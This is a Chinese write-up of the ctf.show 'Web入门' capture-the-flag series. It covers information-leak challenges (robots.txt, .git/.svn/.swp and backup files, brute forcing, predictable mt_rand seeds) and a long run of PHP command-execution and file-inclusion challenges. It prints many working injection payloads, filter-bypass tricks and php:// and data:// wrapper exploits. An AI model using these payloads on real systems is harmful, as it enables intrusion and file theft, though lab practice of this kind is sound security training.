目录
Web入门
信息搜集
web3
通过查看器未发现有用信息
接下来我们查看源代码,发现无法查看
我们使用Burp抓取页面
并且发送到Repeater
发现Flag
提交即可
web4
题目提示查看robots
Robots协议(也称爬虫协议,机器人协议等)的全称是“网络爬虫排除协议”,网站通过Robots协议告诉搜索引擎哪些页面可以抓取,哪些页面不能抓取。
构造/robots.txt
然后访问/flagishere.txt
得到Flag
web5
题目提示查看phps源码
phps的利用:
phps文件就是php的源代码文件,通常用于提供给用户(访问者)直接通过Web浏览器查看php代码的内容。
构造/index.phps,提示下载
下载完成后打开,即可得到Flag
web6
提示:解压源码到当前目录,测试正常,收工
访问:www.zip
打开index.php
我们看到:“flag in fl000g.txt”
再打开fl000g.txt
什么也没有......
尝试构造/fl000g.txt
得到Flag
web7
Git是目前世界上最先进的分布式版本控制系统,能记录每次文件的改动
当前大量开发人员使用git进行版本控制,对站点自动部署。 如果配置不当,可能会将.git文件夹直接部署到线上环境,这就引起了git泄露漏洞。
git源码泄露
.git/index.php
web8
在服务器上布署代码时。如果是使用 svn checkout 功能来更新代码,而没有配置好目录访问权限,则会存在此漏洞。利用此漏洞,可以下载整套网站的源代码。
使用svn checkout后,项目目录下会生成隐藏的.svn文件夹(Linux上用ls命令看不到,要用ls -al命令)。
svn1.6及以前版本会在项目的每个文件夹下都生成一个.svn文件夹,里面包含了所有文件的备份
svn1.7及以后版本则只在项目根目录生成一个.svn文件夹,里面的pristine文件夹里包含了整个项目的所有文件备份
SVN是Subversion的简称,是一个开放源代码的版本控制系统
用于多个人共同开发同一个项目,共用资源的目的
svn泄露
访问/.svn
web9
如果网站存在备份文件,常见的备份文件后缀名有:“.git” 、“.svn”、“ .swp”“.~”、“.bak”、“.bash_history”等。
提示发现网页有个错别字?赶紧在生产环境vim改下,不好,死机了
当我们在使用vim编辑的时候,vim会在被编辑文件同一目录下,创建一个名为filename.swp的文件,记录我们的动作,比如在编辑index.php的时候会存在一个index.php.swp的文件,访问/index.php.swp下载文件得到flag
构造/index.php.swp
得到Flag
web10
题目提示查看cookie
尝试抓包
两边的flag一致,但不是正确答案
使用HackBar中的URL Decode(URL解码)
得到Flag
web11
提示:域名其实也可以隐藏信息,比如ctfshow.com 就隐藏了一条信息
通过阿里云网站运维检测平台进行查询
得到Flag
web12
访问robots.txt
访问admin,发现需要填写密码
在网站上可以看到
账户名为admin,密码为372619038
得到Flag
web13
提示查看技术文档
找到用户名和密码
访问,登录
得到Flag
web14
提示:查看源码,泄露重要(editor)的信息
在图片空间找到flag文件
/var/www/html/nothinghere 中有一个fl000g.txt
访问
得到Flag
web15
提示:查看邮箱
在QQ上查找此人
访问/admin
点击忘记密码
输入查到的信息
进行显示
登录
登录后得到Flag
web16
提示:php探针
访问tz.php
点击
找到Flag
web17
提示:备份的sql文件
backup是备份的意思
根据题意访问backup.sql下载数据库文件拿到flag
web18
查看源码找到js文件
找到得到Flag的条件
Unicode解码
访问110.php
得到Flag
web19
提示密钥在前端
post提交用户名密码
admin
a599ac85a73384ee3219fa684296eaa62667238d608efa81837030bd1ce1bf04
即可得到Flag
web20
题目提示:mdb文件是早期asp+access构架的数据库文件,文件泄露相当于数据库被脱裤了。
访问/db/db.mdb,下载后搜索flag
爆破
web21
首先下载网站提供的zip
直接通过burp爆破
随便输入账号和密码,使用提供的字典,进行爆破
经过base64解码 为我们输入的账号密码
设置
爆破完成,得到Flag
web22
提示:爆破子域名ctf.show
使用在线查询工具:在线子域名查询
逐个访问
发现
得到Flag
web23
由代码可以知道token被md5加密了,分析可知
当第二位等于第十五位等于第十八位,第二位加上第十五位加上第十八位除以第二位等于第三十二位时,输出Flag
php脚本:
<?php
$dict = "0123456789qwertyuiopasdfghjklzxcvbnm";
for ($i = 0;$i < 36;$i++){
for ($j = 0;$j<36;$j++){
$token=md5($dict[$i].$dict[$j]);
if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1)){
if((intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1)===intval(substr($token, 31,1))){
echo ('原字符串为:'.$dict[$i].$dict[$j]);
}
}
}
}
?>
运行完成后的到源字符串为:3j
得到Flag
web24
源码
其中
mt_srand和mt_rand
mt_srand() 函数播种 Mersenne Twister 随机数生成器。
mt_rand() 函数使用 Mersenne Twister 算法生成随机整数。
当随机数的种子是个确定值时(如本题),mt_rand()所得到的随机数也是确定的
下一步
得到Flag
web25
由源码可以发现我们可以利用r=0得到mt_rand()的值
得到mt_rand()值后,我们需要回推出种子
web26
查看源码得到
在checkdb.php页面POST
得到Flag
web27
点击录取名单
得到
其中身份证中的生日被隐藏了
点击查询系统
提示我们需要身份证号,接下来爆破身份证号
以“高先伊”为例
Unicode转码
登录即可到达Flag
web28
发现
将/2.txt去掉后进行爆破
Payload set 2 与此相同
得到Flag
命令执行
先来一张表
more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
grep
strings
web29
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
过滤c中的flag元素
构造
?c=system('ls');
?c=system('cat f?ag.php');
之后查看源代码
web30
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
过滤 flag|system|php
?c=echo `tac fl?g.???`;
或者
?c=echo exec('nl fl?g.???');
web31
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
过滤 flag system php cat sort shell . (空格) '
?c=echo%09`tac%09f*`;
web32
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
多过滤了括号,结合文件包含,使用?>闭合代码
?c=include$_GET["url"]?>&url=php://filter/read=convert.base64-encode/resource=flag.php
- 总的来说,php://filter/是一种访问本地文件的协议
- /read=convert.base64-encode/表示读取的方式是base64编码
- resource=flag.php表示目标文件为flag.php
base64解码
web33
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
多过滤了双引号
?c=include$_GET[1]?>
&1=php://filter/read=convert.base64-encode/resource=flag.php
之后base64解码
web34
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
多过滤了分号,同上
web35
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
多过滤<,同上
web36
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
多过滤=和数字0-9,将web33的1改为字符即可
?c=include$_GET[a]?>
&a=php://filter/read=convert.base64-encode/resource=flag.php
web37
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
过滤了flag ,又是 include 文件包含
data://,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行
?c=data://text/plain,<?php system("cat f*");
之后查看源代码
web38
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|php|file/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
在37的基础上,过滤了php,利用base64编码绕过
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZioiKTs=
web39
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}
}else{
highlight_file(__FILE__);
}
data://text/plain, 这样就相当于执行了php语句 .php 因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么作用
?c=data://text/plain,<?= system("cat fla*");?>
web40
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
过滤了引号、美元符号、冒号,这里可以构造无参数函数进行文件读取
无参数的意思可以是a()、a(b())或a(b(c())),但不能是a('b')或a('b','c'),不能带参数。
- print_r(scandir('.'));查看当前目录下的所有文件名
- localeconv() 函数返回一包含本地数字及货币格式信息的数组。
- current() 函数返回数组中的当前元素(单元),默认取第一个值,和pos()一样
但是这题过滤了引号,不能有参数,找一个代替'.'
的东西
print_r(scandir(current(localeconv())));打印出当前目录下文件
flag.php在倒数第二个,直接用next(array_reverse());
?c=show_source(next(array_reverse(scandir(current(localeconv())))));
web41
if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
}
}else{
highlight_file(__FILE__);
}
web42
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}
>/dev/null 2>&1主要意思是不进行回显的意思,可参考Shell脚本———— /dev/null 2>&1详解 - Tinywan - 博客园
所以不能让后面执行
?c=cat flag.php;
?c=cat flag.php ||
web43
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
过滤了; cat
?c=sort flag.php ||
?c=more flag.php ||
web44
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
多过滤了一个flag
?c=sort fla?.php ||
?c=more fla?.php ||
web45
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| /i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
多过滤了个空格
php环境下可以用%09代替空格
?c=more%09fla?.php%09||
web46
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
同上
web47
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
?c=tac%09fl?g.php%09||
web48
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
同上
web49
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
?c=tac%09fla?.php&&
?c=tac%09fla?.php%26%26
web50
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
?c=nl<fla''g.php||
?c=nl<fla''g.php%7c%7c
nl不支持通配,所以不用?,使用 '' 进行分割字符串,执行时会自动忽略
web51
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
继续使用上一题的payload
?c=nl<fla''g.php%7c%7c
web52
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
?c=cp${IFS}/fla?${IFS}/var/www/html/a.txt||
然后访问a.txt
这里的${IFS}代表空格
web53
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
echo($c);
$d = system($c);
echo "<br>".$d;
}else{
echo 'no';
}
}else{
highlight_file(__FILE__);
}
system成功则返回命令输出的最后一行, 失败则返回 false
?c=ta''c${IFS}fla?.php
或者使用system的返回值
?c=ca''t${IFS}fla?.php
web54
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
?c=mv${IFS}fla?.php${IFS}a.txt
然后访问a.txt
web55
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
把字母过滤了
<!DOCTYPE html>
<html>
<body>
<form action="http://5d45abd1-5039-4299-85cb-00274ff6a486.challenge.ctf.show/" method="POST" enctype="multipart/form-data">
<label for="file"文件名: </label>
<input type="file" name="file" id="file"/>
<input type="submit" name="submit" value="提交" />
</form>
</body>
</html>
随便上传一个内容,并且抓包
即可得到flag